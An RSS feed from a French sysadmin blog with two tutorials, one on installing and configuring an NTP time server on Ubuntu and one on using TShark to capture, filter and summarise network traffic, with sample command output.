<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Le blog de NicoLargo &#187; Réseau</title>
	<atom:link href="http://blog.nicolargo.com/category/network/feed" rel="self" type="application/rss+xml" />
	<link>http://blog.nicolargo.com</link>
	<description>&#34;La connaissance est la seule chose qui s&#039;accroit lorsqu&#039;on la partage.&#34;</description>
	<lastBuildDate>Wed, 17 Mar 2010 10:52:31 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Installation d&#039;un serveur NTP sous Ubuntu</title>
		<link>http://blog.nicolargo.com/2010/03/installation-dun-serveur-ntp-sous-ubuntu.html</link>
		<comments>http://blog.nicolargo.com/2010/03/installation-dun-serveur-ntp-sous-ubuntu.html#comments</comments>
		<pubDate>Mon, 15 Mar 2010 09:41:26 +0000</pubDate>
		<dc:creator>NicoLargo</dc:creator>
				<category><![CDATA[Open-source]]></category>
		<category><![CDATA[Réseau]]></category>
		<category><![CDATA[Système]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[ntp]]></category>
		<category><![CDATA[serveur]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://blog.nicolargo.com/?p=2811</guid>
		<description><![CDATA[Si vous disposez de plusieurs machines sur votre réseau, il peut, dans certains cas être intéressant de les synchroniser sur une date et une heure commune (par exemple pour de l'analyse de fichiers de log). Les systèmes d'exploitation modernes utilisent maintenant le protocole NTP pour se synchroniser via le réseau IP.
C'est quoi donc NTP ?
Le [...]]]></description>
			<content:encoded><![CDATA[<p>Si vous disposez de plusieurs machines sur votre réseau, il peut, dans certains cas être intéressant de les synchroniser sur une date et une heure commune (par exemple pour de l'analyse de fichiers de log). Les systèmes d'exploitation modernes utilisent maintenant <a href="http://fr.wikipedia.org/wiki/Network_Time_Protocol">le protocole NTP</a> pour se synchroniser via le réseau IP.</p>
<h1>C'est quoi donc NTP ?</h1>
<p>Le principe général est simple: on configure le client NTP pour aller demander à un serveur NTP l'heure de référence (à la seconde près). Le client peut alors modifier sa date système en concéquence. Cette description simpliste est à nuancer par le fait que le protocole NTP est basé sur une architecture en arbre.</p>
<p style="text-align: center;"><a href="http://blog.nicolargo.com/wp-content/uploads/2010/03/ntp.png" rel="lightbox[2811]"><img class="size-medium wp-image-2812 aligncenter" title="NTP client/serveur" src="http://blog.nicolargo.com/wp-content/uploads/2010/03/ntp-300x268.png" alt="" width="300" height="268" /></a></p>
<p>Par exemple, sur un système d'exploitation GNU/Linux de type Debian ou Ubuntu, il suffit de saisir la commande suivante pour faire appel à un serveur NTP secondaire (ntp.ubuntu.com définie dans le fichier /etc/default/ntpdate):</p>
<pre class="brush: bash;">

sudo ntpdate-debian

15 Mar 10:11:01 ntpdate[5406]: adjust time server 91.189.94.4 offset 0.038837 sec
</pre>
<p>Nous allons maintenant voir maintenant comment installer un serveur de temps NTP sur votre réseau qui pourra continuer de servir de référence même en cas de coupure de votre liaison Internet.</p>
<p><span id="more-2811"></span></p>
<h1>Installation d'un serveur NTP</h1>
<p>On installe les brique NTP (exemple de commandes sous Ubuntu 9.10)</p>
<pre class="brush: bash;">

sudo aptitude install ntp

sudo /etc/init.d/ntp stop
</pre>
<p>On configure ensuite le fichier /etc/ntp.conf:</p>
<pre class="brush: bash;">

sudo vi /etc/ntp.conf

# Configuration
driftfile /var/lib/ntp/ntp.drift
statsdir /var/log/ntpstats/
statistics loopstats peerstats clockstats
filegen loopstats file loopstats type day enable
filegen peerstats file peerstats type day enable
filegen clockstats file clockstats type day enable

# Serveur de temps ROOT
# http://www.pool.ntp.org/zone/fr
server 0.fr.pool.ntp.org
server 1.fr.pool.ntp.org
server 2.fr.pool.ntp.org
server 3.fr.pool.ntp.org

# ACL
restrict -4 default kod notrap nomodify nopeer noquery
restrict -6 default kod notrap nomodify nopeer noquery
restrict 127.0.0.1
restrict ::1
restrict 192.168.2.0 mask 255.255.255.0 notrust
</pre>
<p>Pour synchroniser mon serveur NTP, j'utilise les serveurs fourni par le projet <a href="http://www.pool.ntp.org/fr/">pool.ntp.org</a> qui propose un cluster de serveurs NTP virtualisés sous un nom unique (<a href="http://www.pool.ntp.org/zone/fr">fr.pool.ntp.org</a> pour la france).</p>
<p style="text-align: center;"><a href="http://blog.nicolargo.com/wp-content/uploads/2010/03/frntp.png" rel="lightbox[2811]"><img class="size-medium wp-image-2813 aligncenter" title="fr.ntp.org" src="http://blog.nicolargo.com/wp-content/uploads/2010/03/frntp-300x133.png" alt="" width="300" height="133" /></a></p>
<p>Il faut également penser à adapter la section ACL en fonction de votre réseau (le mien étant en 192.168.2.0/24)</p>
<p>On peut ensuite synchroniser notre serveur puis lancer le daemon NTP:</p>
<pre class="brush: bash;">

sudo ntpdate -dv fr.pool.ntp.org

sudo /etc/init.d/ntp start
</pre>
<h1>Configuration des clients NTP</h1>
<p>Il ne reste plus qu'a configurer les clients NTP de votre pour utiliser votre serveur NTP. Sous Ubuntu, il faut se rendre dans le menu "<strong>Système / Administration / Date</strong>" et heure puis sélectionner "<strong>Configuration: Rester synchroniser avec les serveurs sur Internet</strong>":</p>
<p style="text-align: center;"><a href="http://blog.nicolargo.com/wp-content/uploads/2010/03/Configuration-de-la-date-et-de-lheure_052.png" rel="lightbox[2811]"><img class="size-medium wp-image-2814 aligncenter" title="Configuration de la date et de l'heure" src="http://blog.nicolargo.com/wp-content/uploads/2010/03/Configuration-de-la-date-et-de-lheure_052-300x56.png" alt="" width="300" height="56" /></a></p>
<p>Cliquer ensuite sur "<strong>Sélectionner des serveurs</strong>":</p>
<p style="text-align: center;"><a href="http://blog.nicolargo.com/wp-content/uploads/2010/03/Serveurs-de-temps_053.png" rel="lightbox[2811]"><img class="size-medium wp-image-2815 aligncenter" title="Serveurs de temps_053" src="http://blog.nicolargo.com/wp-content/uploads/2010/03/Serveurs-de-temps_053-300x284.png" alt="" width="300" height="284" /></a></p>
<p>On ajoute notre serveur NTP local (adresse 192.168.2.254 dans mon cas):</p>
<p style="text-align: center;"><a href="http://blog.nicolargo.com/wp-content/uploads/2010/03/Serveurs-de-temps_054.png" rel="lightbox[2811]"><img class="size-medium wp-image-2816 aligncenter" title="Serveurs de temps_054" src="http://blog.nicolargo.com/wp-content/uploads/2010/03/Serveurs-de-temps_054-300x284.png" alt="" width="300" height="284" /></a></p>
<p><em>PS: il est possible de sélectionner plusieurs adresses de serveurs.</em></p>
<p>Et voili, votre PC restera maintenant synchronisié à votre serveur de temps, lui même synchronisé au cluster NTP fr.pool.ntp.org !</p>

                            <div id="aspdf">
                                <a href="http://blog.nicolargo.com/wp-content/plugins/as-pdf/generate.php?post=2811">
                                    <span> </span>
                                </a>
                            </div>
                        ]]></content:encoded>
			<wfw:commentRss>http://blog.nicolargo.com/2010/03/installation-dun-serveur-ntp-sous-ubuntu.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>TShark, l&#039;autre TcpDump</title>
		<link>http://blog.nicolargo.com/2010/03/tshark-lautre-tcpdump.html</link>
		<comments>http://blog.nicolargo.com/2010/03/tshark-lautre-tcpdump.html#comments</comments>
		<pubDate>Mon, 08 Mar 2010 06:11:32 +0000</pubDate>
		<dc:creator>NicoLargo</dc:creator>
				<category><![CDATA[Open-source]]></category>
		<category><![CDATA[Réseau]]></category>
		<category><![CDATA[cli]]></category>
		<category><![CDATA[tshark]]></category>
		<category><![CDATA[wireshark]]></category>

		<guid isPermaLink="false">http://blog.nicolargo.com/?p=2725</guid>
		<description><![CDATA[TShark est un logiciel avec une interface de type ligne de commande permettant d'analyser les protocoles réseaux capturé depuis une interface (en utilisant la librairie libpcap) ou depuis un fichier de capture au format Wireshark. Développé en parallèle de Wireshark,  il est distribué sous licence GNU GPL.
Installation de TShark
Sous Ubuntu, il suffit de l'installer [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.wireshark.org/docs/man-pages/tshark.html">TShark</a> est un logiciel avec une interface de type ligne de commande permettant d'analyser les protocoles réseaux capturé depuis une interface (en utilisant la librairie libpcap) ou depuis un fichier de capture au format <a href="http://blog.nicolargo.com/2007/07/tutoriel-wireshark-ex-ethereal.html">Wireshark</a>. Développé en parallèle de Wireshark,  il est distribué sous licence GNU GPL.</p>
<h1>Installation de TShark</h1>
<p>Sous Ubuntu, il suffit de l'installer à partir des dépôts avec la commande suivante:</p>
<pre class="brush: bash;">
sudo aptitude install tshark
</pre>
<p>Remarque: il est également possible de faire l'installation <a href="http://www.wireshark.org/download.html">depuis les sources</a>.<span id="more-2725"></span></p>
<h1>Définir la source du trafic à analyser</h1>
<p>Deux solutions sont envisageables. La première est de capturer le trafic à partir d'une interface physique compatible. Pour avoir la liste de ces interfaces, on utilisera l'option -D de TShark:</p>
<pre class="brush: bash;">
sudo tshark -D

1. eth0
2. wmaster0
3. wlan0
4. usbmon1 (USB bus number 1)
5. usbmon2 (USB bus number 2)
6. usbmon3 (USB bus number 3)
7. usbmon4 (USB bus number 4)
8. usbmon5 (USB bus number 5)
9. usbmon6 (USB bus number 6)
10. usbmon7 (USB bus number 7)
11. usbmon8 (USB bus number <img src='http://blog.nicolargo.com/wp-includes/images/smilies/icon_cool.gif' alt='8)' class='wp-smiley' />
12. any (Pseudo-device that captures on all interfaces)
13. lo
</pre>
<p>Ainsi si l'on souhaite analyser les protocoles des flux transitant par l'interface ethernet par défaut (eth0), il suffit de saisir la commande suivante:</p>
<pre class="brush: bash;">
sudo tshark -i eth0

Running as user &quot;root&quot; and group &quot;root&quot;. This could be dangerous.
Capturing on eth0
  0.000000 Xensourc_8b:f0:9e -&gt; Broadcast    ARP Who has 192.168.29.161?  Tell 192.168.29.171
  0.021079 Netgear_b7:46:4a -&gt; Spanning-tree-(for-bridges)_00 STP RST. Root = 32768/0/00:12:a9:81:5f:e0  Cost = 200000  Port = 0x8001
  0.182159 HewlettP_64:6e:2c -&gt; Broadcast    ARP Who has 192.168.29.161?  Tell 192.168.29.1
  0.325894 HewlettP_64:6e:a0 -&gt; Broadcast    ARP Who has 192.168.29.161?  Tell 192.168.29.2
...
</pre>
<p>Il est également possible d'analyser les flux de manière "off-line". Pour cela, il faut dans un premier temps capturer le trafic dans un fichier à l'aide d'un logiciel comme Wireshark, TShark (ou tout autre logiciel dont le format est pris en charge, voir la liste de ces formats avec la commande "sudo tshark -F"), puis fournir ce fichier en entrée de TShark avec l'option -r:</p>
<pre class="brush: bash;">
sudo tshark -r capture.cap

  1   0.000000 HewlettP_64:6e:a0 -&gt; Broadcast    ARP Who has 192.168.29.161?  Tell 192.168.29.2
  2   0.020195 HewlettP_64:6e:2c -&gt; Broadcast    ARP Who has 192.168.29.161?  Tell 192.168.29.1
  3   0.576826 192.168.29.75 -&gt; 255.255.255.255 UDP Source port: 17500  Destination port: 17500
  4   0.577044 192.168.29.75 -&gt; 192.168.29.255 UDP Source port: 17500  Destination port: 17500
  5   0.585752 Xensourc_8b:f0:9e -&gt; Broadcast    ARP Who has 192.168.29.120?  Tell 192.168.29.171
  6   0.589851 HewlettP_64:6e:2c -&gt; Broadcast    ARP Who has 192.168.29.120?  Tell 192.168.29.1
  ...
</pre>
<h1>Les options de capture</h1>
<p>De base (c'est à dire si aucune option complémentaire est donnée), TShark analyse le trafic jusqu'à ce que l'utilisateur presse les touches CTRL-C. Dans le cadre d'un processus automatisé, il est possible de définir quand la capture doit s'arrêter en utilisant l'option -a. Quelques exemples:</p>
<p>Capture et analyse le trafic pendant 10 secondes:</p>
<pre class="brush: bash;">

sudo tshark -i eth0 -a duration:10
</pre>
<p>Capture et analyse 100 paquets (si un filtre de capture est utilisé, on capturera 100 paquets filtrés):</p>
<pre class="brush: bash;">

sudo  tshark -i eth0 -c 100
</pre>
<p>Si on capture vers un fichier, on peut fixer la taille maximale de ce dernier à  5 Ko:</p>
<pre class="brush: bash;">

sudo tshark -i eth0 -a filesize:5 -w /tmp/capture.cap
</pre>
<h1>Les options d'affichage</h1>
<p>TShark affiche par défaut les informations au format texte (c'est à dire lisible par un <span style="text-decoration: line-through;">humain</span> geek).</p>
<pre class="brush: bash;">

sudo tshark -i eth0

2.536745 192.168.29.148 -&gt; 192.168.29.1 DNS Standard query A safebrowsing-cache.google.com

2.537232 192.168.29.1 -&gt; 192.168.29.148 DNS Standard query response CNAME safebrowsing.cache.l.google.com A 74.125.10.151

2.537347 192.168.29.148 -&gt; 74.125.10.151 TCP 38883 &gt; http [SYN] Seq=0 Win=5840 Len=0 MSS=1460 TSV=171324902 TSER=0 WS=6

2.568103 74.125.10.151 -&gt; 192.168.29.148 TCP http &gt; 38883 [SYN, ACK] Seq=0 Ack=1 Win=1460 Len=0 MSS=1460 TSV=966567702 TSER=171324902 WS=6

2.568140 192.168.29.148 -&gt; 74.125.10.151 TCP 38883 &gt; http [ACK] Seq=1 Ack=1 Win=5888 Len=0 TSV=171324910 TSER=966567702

2.568243 192.168.29.148 -&gt; 74.125.10.151 TCP [TCP segment of a reassembled PDU]

2.568253 192.168.29.148 -&gt; 74.125.10.151 HTTP GET /safebrowsing/rd/ChNnb29nLW1hbHdhcmUtc2hhdmFyEAEY9-oBIPvqASoFenUAAAMyBXd1AAAH HTTP/1.1

2.578253 HewlettP_64:6e:2c -&gt; Broadcast    ARP Who has 192.168.29.161?  Tell 192.168.29.1

2.601627 HewlettP_64:6e:a0 -&gt; Broadcast    ARP Who has 192.168.29.161?  Tell 192.168.29.2

2.605201 74.125.10.151 -&gt; 192.168.29.148 TCP http &gt; 38883 [ACK] Seq=1 Ack=731 Win=7296 Len=0 TSV=966567739 TSER=171324910

2.605226 74.125.10.151 -&gt; 192.168.29.148 TCP http &gt; 38883 [ACK] Seq=1 Ack=1045 Win=8768 Len=0 TSV=966567739 TSER=171324910

2.607870 74.125.10.151 -&gt; 192.168.29.148 TCP [TCP segment of a reassembled PDU]

2.607885 192.168.29.148 -&gt; 74.125.10.151 TCP 38883 &gt; http [ACK] Seq=1045 Ack=269 Win=6912 Len=0 TSV=171324920 TSER=966567741

2.612201 74.125.10.151 -&gt; 192.168.29.148 TCP [TCP segment of a reassembled PDU]

...
</pre>
<p>Il est possible de modifier et customiser cet affichage. Par exemple, TShark embarque deux modules permettant d'afficher les paquets au format XML: PDML ou PSML.</p>
<p>Affichage au format PDML:</p>
<pre class="brush: bash;">

sudo tshark -i eth0 -T pdml

&lt;?xml version=&quot;1.0&quot;?&gt;

&lt;pdml version=&quot;0&quot; creator=&quot;wireshark/1.2.2&quot;&gt;

Running as user &quot;root&quot; and group &quot;root&quot;. This could be dangerous.

Capturing on eth0

&lt;packet&gt;

&lt;proto name=&quot;geninfo&quot; pos=&quot;0&quot; showname=&quot;General information&quot; size=&quot;60&quot;&gt;

&lt;field name=&quot;num&quot; pos=&quot;0&quot; show=&quot;1&quot; showname=&quot;Number&quot; value=&quot;1&quot; size=&quot;60&quot;/&gt;

&lt;field name=&quot;len&quot; pos=&quot;0&quot; show=&quot;60&quot; showname=&quot;Frame Length&quot; value=&quot;3c&quot; size=&quot;60&quot;/&gt;

&lt;field name=&quot;caplen&quot; pos=&quot;0&quot; show=&quot;60&quot; showname=&quot;Captured Length&quot; value=&quot;3c&quot; size=&quot;60&quot;/&gt;

&lt;field name=&quot;timestamp&quot; pos=&quot;0&quot; show=&quot;Mar  8, 2010 15:43:33.098604000&quot; showname=&quot;Captured Time&quot; value=&quot;1268059413.098604000&quot; size=&quot;60&quot;/&gt;

&lt;/proto&gt;

&lt;proto name=&quot;frame&quot; showname=&quot;Frame 1 (60 bytes on wire, 60 bytes captured)&quot; size=&quot;60&quot; pos=&quot;0&quot;&gt;

&lt;field name=&quot;frame.time&quot; showname=&quot;Arrival Time: Mar  8, 2010 15:43:33.098604000&quot; size=&quot;0&quot; pos=&quot;0&quot; show=&quot;Mar  8, 2010 15:43:33.098604000&quot;/&gt;

&lt;field name=&quot;frame.time_delta&quot; showname=&quot;Time delta from previous captured frame: 0.000000000 seconds&quot; size=&quot;0&quot; pos=&quot;0&quot; show=&quot;0.000000000&quot;/&gt;

&lt;field name=&quot;frame.time_delta_displayed&quot; showname=&quot;Time delta from previous displayed frame: 0.000000000 seconds&quot; size=&quot;0&quot; pos=&quot;0&quot; show=&quot;0.000000000&quot;/&gt;

&lt;field name=&quot;frame.time_relative&quot; showname=&quot;Time since reference or first frame: 0.000000000 seconds&quot; size=&quot;0&quot; pos=&quot;0&quot; show=&quot;0.000000000&quot;/&gt;

&lt;field name=&quot;frame.number&quot; showname=&quot;Frame Number: 1&quot; size=&quot;0&quot; pos=&quot;0&quot; show=&quot;1&quot;/&gt;

&lt;field name=&quot;frame.len&quot; showname=&quot;Frame Length: 60 bytes&quot; size=&quot;0&quot; pos=&quot;0&quot; show=&quot;60&quot;/&gt;

&lt;field name=&quot;frame.cap_len&quot; showname=&quot;Capture Length: 60 bytes&quot; size=&quot;0&quot; pos=&quot;0&quot; show=&quot;60&quot;/&gt;

&lt;field name=&quot;frame.marked&quot; showname=&quot;Frame is marked: False&quot; size=&quot;0&quot; pos=&quot;0&quot; show=&quot;0&quot;/&gt;

&lt;field name=&quot;frame.protocols&quot; showname=&quot;Protocols in frame: eth:arp&quot; size=&quot;0&quot; pos=&quot;0&quot; show=&quot;eth:arp&quot;/&gt;

&lt;/proto&gt;

&lt;proto name=&quot;eth&quot; showname=&quot;Ethernet II, Src: HewlettP_64:6e:2c (00:1f:29:64:6e:2c), Dst: Broadcast (ff:ff:ff:ff:ff:ff)&quot; size=&quot;14&quot; pos=&quot;0&quot;&gt;

&lt;field name=&quot;eth.dst&quot; showname=&quot;Destination: Broadcast (ff:ff:ff:ff:ff:ff)&quot; size=&quot;6&quot; pos=&quot;0&quot; show=&quot;ff:ff:ff:ff:ff:ff&quot; value=&quot;ffffffffffff&quot;&gt;

&lt;field name=&quot;eth.addr&quot; showname=&quot;Address: Broadcast (ff:ff:ff:ff:ff:ff)&quot; size=&quot;6&quot; pos=&quot;0&quot; show=&quot;ff:ff:ff:ff:ff:ff&quot; value=&quot;ffffffffffff&quot;/&gt;

&lt;field name=&quot;eth.ig&quot; showname=&quot;.... ...1 .... .... .... .... = IG bit: Group address (multicast/broadcast)&quot; size=&quot;3&quot; pos=&quot;0&quot; show=&quot;1&quot; value=&quot;1&quot; unmaskedvalue=&quot;ffffff&quot;/&gt;

&lt;field name=&quot;eth.lg&quot; showname=&quot;.... ..1. .... .... .... .... = LG bit: Locally administered address (this is NOT the factory default)&quot; size=&quot;3&quot; pos=&quot;0&quot; show=&quot;1&quot; value=&quot;1&quot; unmaskedvalue=&quot;ffffff&quot;/&gt;

&lt;/field&gt;

&lt;field name=&quot;eth.src&quot; showname=&quot;Source: HewlettP_64:6e:2c (00:1f:29:64:6e:2c)&quot; size=&quot;6&quot; pos=&quot;6&quot; show=&quot;00:1f:29:64:6e:2c&quot; value=&quot;001f29646e2c&quot;&gt;

&lt;field name=&quot;eth.addr&quot; showname=&quot;Address: HewlettP_64:6e:2c (00:1f:29:64:6e:2c)&quot; size=&quot;6&quot; pos=&quot;6&quot; show=&quot;00:1f:29:64:6e:2c&quot; value=&quot;001f29646e2c&quot;/&gt;

&lt;field name=&quot;eth.ig&quot; showname=&quot;.... ...0 .... .... .... .... = IG bit: Individual address (unicast)&quot; size=&quot;3&quot; pos=&quot;6&quot; show=&quot;0&quot; value=&quot;0&quot; unmaskedvalue=&quot;001f29&quot;/&gt;

&lt;field name=&quot;eth.lg&quot; showname=&quot;.... ..0. .... .... .... .... = LG bit: Globally unique address (factory default)&quot; size=&quot;3&quot; pos=&quot;6&quot; show=&quot;0&quot; value=&quot;0&quot; unmaskedvalue=&quot;001f29&quot;/&gt;

&lt;/field&gt;

&lt;field name=&quot;eth.type&quot; showname=&quot;Type: ARP (0x0806)&quot; size=&quot;2&quot; pos=&quot;12&quot; show=&quot;0x0806&quot; value=&quot;0806&quot;/&gt;

&lt;field name=&quot;eth.trailer&quot; showname=&quot;Trailer: 000000000000000000000000000000000000&quot; size=&quot;18&quot; pos=&quot;42&quot; show=&quot;00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00&quot; value=&quot;000000000000000000000000000000000000&quot;/&gt;

&lt;/proto&gt;

&lt;proto name=&quot;arp&quot; showname=&quot;Address Resolution Protocol (request)&quot; size=&quot;28&quot; pos=&quot;14&quot;&gt;

&lt;field name=&quot;arp.hw.type&quot; showname=&quot;Hardware type: Ethernet (0x0001)&quot; size=&quot;2&quot; pos=&quot;14&quot; show=&quot;0x0001&quot; value=&quot;0001&quot;/&gt;

&lt;field name=&quot;arp.proto.type&quot; showname=&quot;Protocol type: IP (0x0800)&quot; size=&quot;2&quot; pos=&quot;16&quot; show=&quot;0x0800&quot; value=&quot;0800&quot;/&gt;

&lt;field name=&quot;arp.hw.size&quot; showname=&quot;Hardware size: 6&quot; size=&quot;1&quot; pos=&quot;18&quot; show=&quot;6&quot; value=&quot;06&quot;/&gt;

&lt;field name=&quot;arp.proto.size&quot; showname=&quot;Protocol size: 4&quot; size=&quot;1&quot; pos=&quot;19&quot; show=&quot;4&quot; value=&quot;04&quot;/&gt;

&lt;field name=&quot;arp.opcode&quot; showname=&quot;Opcode: request (0x0001)&quot; size=&quot;2&quot; pos=&quot;20&quot; show=&quot;0x0001&quot; value=&quot;0001&quot;/&gt;

&lt;field name=&quot;arp.isgratuitous&quot; showname=&quot;Is gratuitous: False&quot; size=&quot;2&quot; pos=&quot;20&quot; show=&quot;0&quot; value=&quot;0001&quot;/&gt;

&lt;field name=&quot;arp.src.hw_mac&quot; showname=&quot;Sender MAC address: HewlettP_64:6e:2c (00:1f:29:64:6e:2c)&quot; size=&quot;6&quot; pos=&quot;22&quot; show=&quot;00:1f:29:64:6e:2c&quot; value=&quot;001f29646e2c&quot;/&gt;

&lt;field name=&quot;arp.src.proto_ipv4&quot; showname=&quot;Sender IP address: 192.168.29.1 (192.168.29.1)&quot; size=&quot;4&quot; pos=&quot;28&quot; show=&quot;192.168.29.1&quot; value=&quot;c0a81d01&quot;/&gt;

&lt;field name=&quot;arp.dst.hw_mac&quot; showname=&quot;Target MAC address: 00:00:00_00:00:00 (00:00:00:00:00:00)&quot; size=&quot;6&quot; pos=&quot;32&quot; show=&quot;00:00:00:00:00:00&quot; value=&quot;000000000000&quot;/&gt;

&lt;field name=&quot;arp.dst.proto_ipv4&quot; showname=&quot;Target IP address: 192.168.29.161 (192.168.29.161)&quot; size=&quot;4&quot; pos=&quot;38&quot; show=&quot;192.168.29.161&quot; value=&quot;c0a81da1&quot;/&gt;

&lt;/proto&gt;

&lt;/packet&gt;

...
</pre>
<p>La dernière méthode permet de customiser soit même les informations à afficher:</p>
<pre class="brush: bash;">

sudo tshark -i eth0 -T fields -e ip.addr -e tcp.port

Running as user &quot;root&quot; and group &quot;root&quot;. This could be dangerous.

Capturing on eth0

209.172.41.53	80

209.172.41.53	80

192.168.29.1

192.168.29.148

209.172.41.53	80

192.168.29.148	34521

209.172.41.53	80

192.168.29.148	34522

209.172.41.53	80

192.168.29.148	34523

209.172.41.53	80

209.172.41.53	80

209.172.41.53	80

224.0.0.251

192.168.29.148	34523

...
</pre>
<h1>Les filtres de base</h1>
<p>Selon ou le logiciel TShark sera lancé, le nombre de paquets à analyser peut devenir très important. Heureusement, TShark propose un système de filtre permettant de se focaliser sur les protocoles utiles à notre analyse.</p>
<p>TShark propose deux types de filtres:</p>
<ul>
<li>les filtres de capture: permettant de filtrer le capture au moment de la capture</li>
<li>les filtres d'affichage: permet de filtrer avant l'affichage</li>
</ul>
<p>Le seul hic est que les deux syntaxes ne sont pas les mêmes. Les filtres de capture obéissent à une syntaxe propre à libpcap (faire un "man pcap-filter" pour une description exhaustive) tandis que les filtres d'affichage sont définie par le projet Wireshark (voir <a href="http://www.wireshark.org/docs/dfref/">le manuel en ligne ici</a>).On peut remarquer la richesse des filtres d'affichage qui permettent de remonter très haut dans la couche OSI.</p>
<p>Par exemple pour filtrer le trafic HTTP (TCP port 80) avant la capture:</p>
<pre class="brush: bash;">

sudo tshark -i eth0 port 80

Running as user &quot;root&quot; and group &quot;root&quot;. This could be dangerous.

Capturing on eth0

0.000000 192.168.29.148 -&gt; 67.228.110.120 TCP 47593 &gt; http [SYN] Seq=0 Win=5840 Len=0 MSS=1460 TSV=171057533 TSER=0 WS=6

0.182873 67.228.110.120 -&gt; 192.168.29.148 TCP http &gt; 47593 [SYN, ACK] Seq=0 Ack=1 Win=1460 Len=0 MSS=1460 TSV=154345319 TSER=171057533 WS=9

0.182924 192.168.29.148 -&gt; 67.228.110.120 TCP 47593 &gt; http [ACK] Seq=1 Ack=1 Win=5888 Len=0 TSV=171057578 TSER=154345319

0.183029 192.168.29.148 -&gt; 67.228.110.120 HTTP GET /docs/man-pages/tshark.html HTTP/1.1
</pre>
<p>Alors quer pour capturer l'ensemble du trafic et afficher seulement le trafic HTTP:</p>
<pre class="brush: bash;">

sudo tshark -i eth0 -R tcp.port==80

Running as user &quot;root&quot; and group &quot;root&quot;. This could be dangerous.

Capturing on eth0

3.127743 192.168.29.148 -&gt; 67.228.110.120 TCP 47599 &gt; http [SYN] Seq=0 Win=5840 Len=0 MSS=1460 TSV=171071304 TSER=0 WS=6

3.308054 67.228.110.120 -&gt; 192.168.29.148 TCP http &gt; 47599 [SYN, ACK] Seq=0 Ack=1 Win=1460 Len=0 MSS=1460 TSV=154350827 TSER=171071304 WS=9

3.308096 192.168.29.148 -&gt; 67.228.110.120 TCP 47599 &gt; http [ACK] Seq=1 Ack=1 Win=5888 Len=0 TSV=171071349 TSER=154350827

3.308182 192.168.29.148 -&gt; 67.228.110.120 HTTP GET /docs/man-pages/tshark.html HTTP/1.1
</pre>
<p>Affichage au format PSML:</p>
<pre class="brush: bash;">

sudo tshark -i eth0 -T psml

&lt;?xml version=&quot;1.0&quot;?&gt;

&lt;psml version=&quot;0&quot; creator=&quot;wireshark/1.2.2&quot;&gt;

Running as user &quot;root&quot; and group &quot;root&quot;. This could be dangerous.

Capturing on eth0

&lt;structure&gt;

&lt;section&gt;No.&lt;/section&gt;

&lt;section&gt;Time&lt;/section&gt;

&lt;section&gt;Source&lt;/section&gt;

&lt;section&gt;Destination&lt;/section&gt;

&lt;section&gt;Protocol&lt;/section&gt;

&lt;section&gt;Info&lt;/section&gt;

&lt;/structure&gt;

&lt;packet&gt;

&lt;section&gt;1&lt;/section&gt;

&lt;section&gt;0.000000&lt;/section&gt;

&lt;section&gt;Netgear_b7:46:4a&lt;/section&gt;

&lt;section&gt;Spanning-tree-(for-bridges)_00&lt;/section&gt;

&lt;section&gt;STP&lt;/section&gt;

&lt;section&gt;RST. Root = 32768/0/00:12:a9:81:5f:e0  Cost = 200000  Port = 0x8001&lt;/section&gt;

&lt;/packet&gt;

...
</pre>
<h1>Les filtres avancées</h1>
<p>Via l'option -z, TShark donne l'accès à des statistiques intéressants selon le protocole que vous avez à analyser.</p>
<p>Le premier d'entre eux permet de générer un rapport avec la hiérarchie des protocoles capturés:</p>
<pre class="brush: bash;">

sudo tshark -i eth0 -z io,phs

===================================================================

Protocol Hierarchy Statistics

Filter: frame

frame                                    frames:206 bytes:79513

eth                                    frames:206 bytes:79513

llc                                  frames:11 bytes:660

stp                                frames:11 bytes:660

arp                                  frames:77 bytes:4584

ip                                   frames:118 bytes:74269

tcp                                frames:59 bytes:22417

ssl                              frames:11 bytes:11280

http                             frames:2 bytes:502

data-text-lines                frames:1 bytes:264

tcp.segments                     frames:8 bytes:5607

ssl                            frames:8 bytes:5607

msnms                            frames:2 bytes:145

rtsp                             frames:12 bytes:3283

udp                                frames:54 bytes:51342

data                             frames:45 bytes:47992

cflow                            frames:2 bytes:2484

dns                              frames:4 bytes:590

rtp                              frames:3 bytes:276

icmp                               frames:5 bytes:510

===================================================================
</pre>
<p>Associé à un filtre il est possible d'afficher une répartition dans le temps des paquets et de la taille associée;</p>
<pre class="brush: bash;">

sudo tshark -i eth0 -z io,stat,1,tcp.port==80

===================================================================

IO Statistics

Interval: 1.000 secs

Column #0:

|   Column #0

Time            |frames|  bytes

000.000-001.000       4       240

001.000-002.000       5       312

002.000-003.000       6      1146

003.000-004.000      61     18627

004.000-005.000      76     30832

005.000-006.000      45     16263

006.000-007.000      95     40326

007.000-008.000     107     50010

008.000-009.000      81     30109

009.000-010.000     125     58044

010.000-011.000      75     46597

011.000-012.000     236    155959

012.000-013.000      32     15852

013.000-014.000       2       531

===================================================================
</pre>
<p>On peut également afficher une table de trafic IP (source &lt;-&gt; destination). Il est également possible de faire de même seulment sur le trafic TCP (-z conv,tcp) ou UDP (-z conv,udp):</p>
<pre class="brush: bash;">

sudo tshark -i eth0 -z conv,ip

================================================================================

IPv4 Conversations

Filter:&lt;No Filter&gt;

|       &lt;-      | |       -&gt;      | |     Total     |

| Frames  Bytes | | Frames  Bytes | | Frames  Bytes |

192.168.29.148       &lt;-&gt; 74.125.39.18              79     39420      93     36753     172     76173

192.168.29.148       &lt;-&gt; 74.125.39.17              45     27618      45     17223      90     44841

192.168.29.148       &lt;-&gt; 74.125.39.83              30     18291      26     11999      56     30290

192.168.29.148       &lt;-&gt; 74.125.39.106              6       751      11      8970      17      9721

